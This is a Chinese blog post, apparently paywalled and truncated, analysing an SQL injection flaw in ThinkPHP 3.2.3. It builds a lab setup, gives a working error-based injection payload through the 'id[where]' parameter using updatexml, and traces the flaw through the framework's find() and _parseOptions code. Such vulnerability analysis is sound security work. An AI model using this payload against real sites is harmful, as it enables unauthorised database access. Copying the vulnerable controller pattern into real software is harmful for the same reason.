前言
攻敌所必救:
搭建:
-
首先第一步就是必须先放在www目录下(我是windows用的phpstudy)!!!!
-
创建数据库,表名一定与你接下来要M的名字的相对应
-
连接数据库的文件不多说了,自己配置:ThinkPHP/Conf/convention.php
-
配置控制器:\WWW\thinkphp3.2.3\Application\Home\Controller\IndexController.class.php
<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $this->show('原来内容已经省略,太占地方'); $data = M('user')->find(I('GET.id')); var_dump($data); } } -
测试:

正文
payload:
?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
确实报错注入成功,一切都是因为这句代码的存在:$data = M('user')->find(I('GET.id'));
I和M方法都没有什么问题,真正的问题在于
- find 方法上,来自
/ThinkPHP/Mode/Lite/Model.class.php
public function find($options=array()) {
// 根据复合主键查找记录
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
//但是会进入这里
// 根据复合主键查询
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) $count++;
}
if ($count == count($pk)) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
// 总是查找一条记录
$options['limit'] = 1;
// 分析表达式
$options = $this->_parseOptions($options);//前面都没有什么影响,重点是这里的函数调用

本文深入探讨了ThinkPHP3.2.3中的一个SQL注入漏洞,通过分析`M`、`D`、`U`、`I`等方法的使用,特别是`find`方法和`_parseOptions`函数,揭示了由于条件查询处理不当导致的安全问题。作者通过断点调试展示了攻击payload如何影响查询过程,最终形成未过滤的SQL语句,提醒开发者关注代码安全和输入验证。
最低0.47元/天 解锁文章
7852

被折叠的 条评论
为什么被折叠?



